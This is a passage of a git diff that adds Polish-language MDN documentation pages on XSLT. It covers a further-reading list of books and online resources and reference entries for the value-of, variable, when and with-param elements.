href="pl/Transformacje_XML_z_XSLT/Przeczytaj_wi%c4%99cej">Przeczytaj więcej</a></h3> + +<ul> + <li><a href="pl/Transformacje_XML_z_XSLT/Przeczytaj_wi%c4%99cej#Ksi.C4.85.C5.BCki">Książki</a></li> + <li><a href="pl/Transformacje_XML_z_XSLT/Przeczytaj_wi%c4%99cej#Online">Online</a> + <ul> + <li><a href="pl/Transformacje_XML_z_XSLT/Przeczytaj_wi%c4%99cej#Konsorcjum_World_Wide_Web">Konsorcjum World Wide Web</a></li> + <li><a href="pl/Transformacje_XML_z_XSLT/Przeczytaj_wi%c4%99cej#Portale">Portale</a></li> + <li><a href="pl/Transformacje_XML_z_XSLT/Przeczytaj_wi%c4%99cej#Artyku.C5.82y">Artykuły</a></li> + <li><a href="pl/Transformacje_XML_z_XSLT/Przeczytaj_wi%c4%99cej#Przewodniki.2FPrzyk.C5.82ady">Przewodniki/Przykłady</a></li> + <li><a href="pl/Transformacje_XML_z_XSLT/Przeczytaj_wi%c4%99cej#Listy_dyskusyjne.2FGrupy_newsowe">Listy dyskusyjne/Grupy newsowe</a></li> + </ul> + </li> +</ul> + +<h3 id="Index" name="Index"><a href="pl/Transformacje_XML_z_XSLT/Index">Index</a></h3> + +<div class="originaldocinfo"> +<h3 id="Original_Document_Information" name="Original_Document_Information">Original Document Information</h3> + +<ul> + <li>Copyright Information: Copyright © 2001-2003 Netscape. All rights reserved.</li> + <li>Note: This reprinted article was originally part of the DevEdge site.</li> +</ul> +</div> diff --git a/files/pl/web/xslt/transformacje_xml_z_xslt/przeczytaj_więcej/index.html b/files/pl/web/xslt/transformacje_xml_z_xslt/przeczytaj_więcej/index.html new file mode 100644 index 0000000000..7eff31a7f4 --- /dev/null +++ b/files/pl/web/xslt/transformacje_xml_z_xslt/przeczytaj_więcej/index.html @@ -0,0 +1,205 @@ +--- +title: Przeczytaj więcej +slug: Web/XSLT/Transformacje_XML_z_XSLT/Przeczytaj_więcej +tags: + - Transformacje_XML_z_XSLT + - Wszystkie_kategorie + - XML + - XSLT +translation_of: Web/XSLT/Transforming_XML_with_XSLT/For_Further_Reading +--- +<a href="/pl/docs/Transformacje_XML_z_XSLT">« Transformacje XML z XSLT</a> + +<h3 id="Drukowane" name="Drukowane">Drukowane</h3> + +<h4 id="Ksi.C4.85.C5.BCki" name="Ksi.C4.85.C5.BCki">Książki</h4> + +<dl> + <dd><strong>XSLT: Programmer's Reference, Second Edition</strong> + + <dl> + <dd><strong>Autor</strong>: Michael H. Kay</dd> + <dd><strong>Długość</strong>: 992 stron</dd> + <dd><strong>Wydawca</strong>: Wrox; 2 edycja (3 maja 2001)</dd> + <dd><strong>ISBN</strong>: 0764543814 + <dl> + <dd>Michael Kay jest członkiem grupy roboczej W3C XSL i autorem swojego własnego, open source'owego procesora XSLT o nazwie Saxon. Jest on również autorem jedynej książki na ten temat, która doczekała się drugiego wydania. Jest to obszerna, dobrze napisana książka, świetnie wyczerpująca temat (czasem może nawet samego czytelnika), opisująca w najdrobniejszych detalach każdy istotny wątek w historii o XSLT.</dd> + </dl> + </dd> + </dl> + </dd> +</dl> + +<p><span class="comment"><a class="external" href="http://www.amazon.com/XSLT-Programmers-Reference-Programmer/dp/0764543814" rel="freelink">http://www.amazon.com/XSLT-Programme.../dp/0764543814</a></span></p> + +<p> </p> + +<dl> + <dd><strong>XSLT</strong> + + <dl> + <dd><strong>Autor</strong>: Doug Tidwell</dd> + <dd><strong>Długość</strong>: 473 stron</dd> + <dd><strong>Wydawnictwo</strong>: O'Reilly Media; 1 edycja (15 sierpnia 2001)</dd> + <dd><strong>ISBN</strong>: 0596000537 + <dl> + <dd>Doug Tidwell jest starszym pracownikiem firmy IBM i ogólnie czołowym kaznodzieją technologii XML. Jest on autorem kilku artykułów i przewodników na temat różnych aspektów XML-a na stronie IBM dotyczącej rozwoju języka XML. Książka ta nie jest w pewien sposób tak pełna jak autorstwa Michaela Kaya, ale dobrze wyjaśnia podstawy przedstawiając jednocześnie nieco interesujących przykładów.</dd> + </dl> + </dd> + </dl> + </dd> +</dl> + +<p><span class="comment"><a class="external" href="http://www.amazon.com/Xslt-Doug-Tidwell/dp/0596000537" rel="freelink">http://www.amazon.com/Xslt-Doug-Tidwell/dp/0596000537</a></span></p> + +<p> </p> + +<dl> + <dd><strong>Learning XML, Second Edition</strong> + + <dl> + <dd><strong>Autor</strong>: Erik T. Ray</dd> + <dd><strong>Długość</strong>: 432 stron</dd> + <dd><strong>Wydawnictwo</strong>: O'Reilly Media; 2 edycja (22 września 2003)</dd> + <dd><strong>ISBN</strong>: 0596004206 + <dl> + <dd>Jak wskazuje sam tytuł, jest to ogólny przegląd XML-a. Rozdział 6 jest szczególnie poświęcony XSLT.</dd> + </dl> + </dd> + </dl> + </dd> +</dl> + +<p><span class="comment"><a class="external" href="http://www.amazon.com/gp/product/0596004206" rel="freelink">http://www.amazon.com/gp/product/0596004206</a></span></p> + +<h3 id="Cyfrowe" name="Cyfrowe">Cyfrowe</h3> + +<h4 id="Strony_internetowe" name="Strony_internetowe">Strony internetowe</h4> + +<dl> + <dd><strong>Konsorcjum World Wide Web</strong> + + <dl> + <dd><strong>Strona główna W3C</strong>: <a class="external" href="http://www.w3.org/" rel="freelink">http://www.w3.org/</a></dd> + <dd><strong>Strona główna XSL</strong>: <a class="external" href="http://www.w3.org/Style/XSL/" rel="freelink">http://www.w3.org/Style/XSL/</a></dd> + <dd><strong>Rekomendacja XSLT w wersji 1.0</strong>: <a class="external" href="http://www.w3.org/TR/xslt" rel="freelink">http://www.w3.org/TR/xslt</a></dd> + <dd><strong>Archiwum publicznych dyskusji na temat stylów (CSS i XSLT)</strong>: <a class="external" href="http://lists.w3.org/Archives/Public/www-style/" rel="freelink">http://lists.w3.org/Archives/Public/www-style/</a></dd> + <dd><strong>Rekomendacja XPath w wersji 1.0</strong>: <a class="external" href="http://www.w3.org/TR/xpath" rel="freelink">http://www.w3.org/TR/xpath</a> + <dl> + <dd>Konsorcjum World Wide Web jest organem wydającym Rekomendacje dla wielu technologii internetowych, z których de-facto duża ilość staje się standardami.</dd> + </dl> + </dd> + </dl> + </dd> +</dl> + +<h4 id="Artyku.C5.82y" name="Artyku.C5.82y">Artykuły</h4> + +<dl> + <dd><strong>Hands-on XSL</strong> + + <dl> + <dd><strong>Autor</strong>: Don R. Day</dd> + <dd><strong>Lokalizacja</strong>: <a class="external" href="http://www-106.ibm.com/developerworks/library/x-hands-on-xsl/" rel="freelink">http://www-106.ibm.com/developerwork...-hands-on-xsl/</a></dd> + </dl> + </dd> +</dl> + +<dl> + <dd><strong>Understanding XSLT</strong> + + <dl> + <dd><strong>Autor</strong>: Jay Greenspan</dd> + <dd><strong>Lokalizacja</strong>: <a class="external" href="http://hotwired.lycos.com/webmonkey/98/43/index2a.html?tw=authoring" rel="freelink">http://hotwired.lycos.com/webmonkey/...l?tw=authoring</a></dd> + </dl> + </dd> +</dl> + +<dl> + <dd><strong>What is XSLT?</strong> + + <dl> + <dd><strong>Autor</strong>: G. Ken Holman</dd> + <dd><strong>Lokalizacja</strong>: <a class="external" href="http://www.xml.com/pub/a/2000/08/holman/index.html" rel="freelink">http://www.xml.com/pub/a/2000/08/holman/index.html</a></dd> + </dl> + </dd> +</dl> + +<h4 id="Przewodniki.2FPrzyk.C5.82ady" name="Przewodniki.2FPrzyk.C5.82ady">Przewodniki/Przykłady</h4> + +<dl> + <dd><strong>Zvon</strong> + + <dl> + <dd><strong>XSL Programmers</strong>: <a class="external" href="http://www.zvon.org/o_html/group_xsl.html" rel="freelink">http://www.zvon.org/o_html/group_xsl.html</a></dd> + </dl> + </dd> +</dl> + +<dl> + <dd><strong>Jeni's XSLT Pages</strong> + + <dl> + <dd><strong>Indeks</strong>: <a class="external" href="http://www.jenitennison.com/xslt/" rel="freelink">http://www.jenitennison.com/xslt/</a></dd> + </dl> + </dd> +</dl> + +<dl> + <dd><strong>XMLPitstop.com</strong> + + <dl> + <dd><strong>StyleSheet Center</strong>: <a class="external" href="http://www.xmlpitstop.com/Default.asp?DataType=SSC" rel="freelink">http://www.xmlpitstop.com/Default.asp?DataType=SSC</a></dd> + </dl> + </dd> +</dl> + +<dl> + <dd><strong>XSL Tutorial</strong> + + <dl> + <dd><strong>Indeks</strong>: <a class="external" href="http://www.nwalsh.com/docs/tutorials/xsl/" rel="freelink">http://www.nwalsh.com/docs/tutorials/xsl/</a></dd> + </dl> + </dd> +</dl> + +<h4 id="Inne" name="Inne">Inne</h4> + +<dl> + <dd><strong>Cover Pages</strong> + + <dl> + <dd><strong>Extensible Stylesheet Language (XSL)</strong>: <a class="external" href="http://www.oasis-open.org/cover/xsl.html" rel="freelink">http://www.oasis-open.org/cover/xsl.html</a></dd> + </dl> + </dd> +</dl> + +<dl> + <dd><strong>XSL-List</strong> + + <dl> + <dd><strong>Subskrypcja</strong>: <a class="external" href="http://www.mulberrytech.com/xsl/xsl-list/" rel="freelink">http://www.mulberrytech.com/xsl/xsl-list/</a></dd> + <dd><strong>Archiwa</strong>: <a class="external" href="http://www.biglist.com/lists/xsl-list/archives/" rel="freelink">http://www.biglist.com/lists/xsl-list/archives/</a> + <dl> + <dd>XSL-List jest bardzo aktywną ogólną listą mailingową, hostowaną przez <a class="external" href="http://mulberrytech.com/">Mulberry Technologies</a></dd> + </dl> + </dd> + </dl> + </dd> +</dl> + +<dl> + <dd><strong>mozilla.dev.tech.xslt</strong> + + <dl> + <dd><strong>Google Groups</strong>: <a class="external" href="http://groups.google.com/group/mozilla.dev.tech.xslt" rel="freelink">http://groups.google.com/group/mozilla.dev.tech.xslt</a> + + <dl> + <dd>Jest to grupa news, która dyskutuje na tematy specyficzne dla XSLT w Netscape.</dd> + </dl> + </dd> + </dl> + </dd> +</dl> + +<p>{{ languages( { "en": "en/Transforming_XML_with_XSLT/For_Further_Reading", "fr": "fr/Transformations_XML_avec_XSLT/Autres_ressources" } ) }}</p> diff --git a/files/pl/web/xslt/value-of/index.html b/files/pl/web/xslt/value-of/index.html new file mode 100644 index 0000000000..3da1744972 --- /dev/null +++ b/files/pl/web/xslt/value-of/index.html @@ -0,0 +1,32 @@ +--- +title: value-of +slug: Web/XSLT/value-of +tags: + - Dokumentacje + - Wszystkie_kategorie + - XSLT + - 'XSLT:Dokumentacje' +translation_of: Web/XSLT/Element/value-of +--- +<p> +{{ XsltRef() }} +</p><p>Element <code><xsl:value-of></code> ocenia wyrażenie XPath, konwertuje je do ciągu znakowego, który następnie zapisuje do drzewa wynikowego. +</p> +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia"> Składnia </h3> +<pre><xsl:value-of select=WYRAZENIE disable-output-escaping="yes" | "no" /></pre> <h3 id="Wymagane_atrybuty" name="Wymagane_atrybuty"> Wymagane atrybuty </h3> +<dl><dt><code>select</code> +</dt><dd>Określa wyrażenie XPath, które ma być ocenione i zwrócone do drzewa wynikowego. +</dd></dl> +<h3 id="Opcjonalne_atrybuty" name="Opcjonalne_atrybuty"> Opcjonalne atrybuty </h3> +<dl><dt><code>disable-output-escaping</code> (Netscape nie dzieli wyników przekształcenia - poniższego "wyjścia" - dlatego atrybut ten jest w zasadzie nieistotny w znaczeniu. Aby otrzymać na wyjściu encje html użyj wartości numerycznych, np. <code>&#160</code> dla <code>&nbsp</code>) +</dt><dd>Określa czy znaki specjalne są pomijane przy zapisywaniu do wyjścia. Dostępne wartości to "<code>yes</code>" lub "<code>no</code>". Przykładowo, jeżeli ustawiona jest wartość "<code>yes</code>", <tt>></tt> jest wyświetlane jako <code>></code>, a nie jako "<code>&gt</code>". +</dd></dl> +<h3 id="Typ" name="Typ"> Typ </h3> +<p>Instrukcja, pojawia się wraz z szablonem. +</p> +<h3 id="Definicja" name="Definicja"> Definicja </h3> +<p>XSLT, sekcja 7.6.1. +</p> +<h3 id="Gecko" name="Gecko"> Gecko </h3> +<p>Obsługuje poza powyższymi przypadkami. +</p>{{ languages( { "en": "en/XSLT/value-of", "fr": "fr/XSLT/value-of", "ja": "ja/XSLT/value-of" } ) }} diff --git a/files/pl/web/xslt/variable/index.html b/files/pl/web/xslt/variable/index.html new file mode 100644 index 0000000000..3a8137da82 --- /dev/null +++ b/files/pl/web/xslt/variable/index.html @@ -0,0 +1,35 @@ +--- +title: variable +slug: Web/XSLT/variable +tags: + - Dokumentacje + - Wszystkie_kategorie + - XSLT + - 'XSLT:Dokumentacje' +translation_of: Web/XSLT/Element/variable +--- +<p> +{{ XsltRef() }} +</p><p>Element <code><xsl:variable></code> deklaruje globalną lub lokalną zmienną w arkuszu i nadaje jej wartość. Ponieważ XSLT nie pozwala na działania pośrednie (ang. <i>side-effects</i>), wartość zmiennej po jej ustaleniu pozostanie ta sama, dopóki zmienna nie wyjdzie poza swój zasięg. +</p> +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia"> Składnia </h3> +<pre><xsl:variable name=NAME select=WYRAZENIE > + SZABLON +</xsl:variable> </pre> +<h3 id="Wymagane_atrybuty" name="Wymagane_atrybuty"> Wymagane atrybuty </h3> +<dl><dt><code>name</code> +</dt><dd>Nadaje zmiennej nazwę. +</dd></dl> +<h3 id="Opcjonalne_atrybuty" name="Opcjonalne_atrybuty"> Opcjonalne atrybuty </h3> +<dl><dt><code>select</code> +</dt><dd>Określa wartość zmiennej poprzez wyrażenie XPath. Jeśli element zawiera szablon, atrybut jest ignorowany. +</dd></dl> +<h3 id="Typ" name="Typ"> Typ </h3> +<p>Element najwyższego poziomu lub instrukcja. Jeśli pojawia się jako element najwyższego poziomu, zmienna jest globalna w zasięgu i dostęp do niej może być osiągnięty poprzez cały dokument. Jeśli pojawia się wewnątrz szablonu, zmienna jest lokalna w zasięgu i jest dostępna tylko wewnątrz szablonu, w którym się pojawia. +</p> +<h3 id="Definicja" name="Definicja"> Definicja </h3> +<p>XSLT, sekcja 11. +</p> +<h3 id="Gecko" name="Gecko"> Gecko </h3> +<p>Obsługuje. +</p>{{ languages( { "en": "en/XSLT/variable", "fr": "fr/XSLT/variable" } ) }} diff --git a/files/pl/web/xslt/when/index.html b/files/pl/web/xslt/when/index.html new file mode 100644 index 0000000000..e0a132be76 --- /dev/null +++ b/files/pl/web/xslt/when/index.html @@ -0,0 +1,33 @@ +--- +title: when +slug: Web/XSLT/when +tags: + - Dokumentacje + - Wszystkie_kategorie + - XSLT + - 'XSLT:Dokumentacje' +translation_of: Web/XSLT/Element/when +--- +<p> +{{ XsltRef() }} +</p><p>Element <code><xsl:when></code> zawsze pojawia się wewnątrz elementu <code><xsl:choose></code>, działając jak instrukcja wyboru. +</p> +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia"> Składnia </h3> +<pre><xsl:when test=WYRAZENIE> + SZABLON +</xsl:when></pre> <h3 id="Wymagane_atrybuty" name="Wymagane_atrybuty"> Wymagane atrybuty </h3> +<dl><dt><code>test</code> +</dt><dd>Określa wyrażenie logiczne, które ma zostać ocenione. Jeśli jest prawdziwe, zawartość elementu jest przetwarzana; jeśli fałszywe, zawartość jest ignorowana. +</dd></dl> +<h3 id="Opcjonalne_atrybuty" name="Opcjonalne_atrybuty"> Opcjonalne atrybuty </h3> +<p>Brak. +</p> +<h3 id="Typ" name="Typ"> Typ </h3> +<p>Podinstrukcja, pojawia się zawsze wewnątrz elementu <code><xsl:choose></code>. +</p> +<h3 id="Definicja" name="Definicja"> Definicja </h3> +<p>XSLT, sekcja 9.2. +</p> +<h3 id="Gecko" name="Gecko"> Gecko </h3> +<p>Obsługuje. +</p>{{ languages( { "en": "en/XSLT/when", "es": "es/XSLT/when", "fr": "fr/XSLT/when" } ) }} diff --git a/files/pl/web/xslt/with-param/index.html b/files/pl/web/xslt/with-param/index.html new file mode 100644 index 0000000000..6d00d21d50 --- /dev/null +++ b/files/pl/web/xslt/with-param/index.html @@ -0,0 +1,32 @@ +--- +title: with-param +slug: Web/XSLT/with-param +tags: + - Dokumentacje + - Wszystkie_kategorie + - XSLT + - 'XSLT:Dokumentacje' +translation_of: Web/XSLT/Element/with-param +--- +<p> +{{ XsltRef() }} +</p><p>Element <code><xsl:with-param></code> ustala wartość parametru, który ma zostać przekazany do szablonu. </p> +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia"> Składnia </h3> +<pre><xsl:with-param name=NAZWA select=WYRAZENIE> + SZABLON +</xsl:with-param></pre> <h3 id="Wymagane_atrybuty" name="Wymagane_atrybuty"> Wymagane atrybuty </h3> +<dl><dt><code>name</code> +</dt><dd>Nadaje nazwę parametrowi. </dd></dl> +<h3 id="Opcjonalne_atrybuty" name="Opcjonalne_atrybuty"> Opcjonalne atrybuty </h3> +<dl><dt><code>select</code> +</dt><dd>Definiuje wartość parametru poprzez wyrażenie XPath. Jeśli element zawiera szablon, atrybut jest ignorowany. +</dd></dl> +<h3 id="Typ" name="Typ"> Typ </h3> +<p>Podinstrukcja, pojawia się zawsze wewnątrz elementu <code><xsl:apply-templates></code> lub <code><xsl:call-template></code>. +</p> +<h3 id="Definicja" name="Definicja"> Definicja </h3> +<p>XSLT 11.6 +</p> +<h3 id="Gecko" name="Gecko"> Gecko </h3> +<p>Obsługuje. +</p>{{ languages( { "en": "en/XSLT/with-param", "es": "es/XSLT/with-param", "fr": "fr/XSLT/with-param" } ) }} |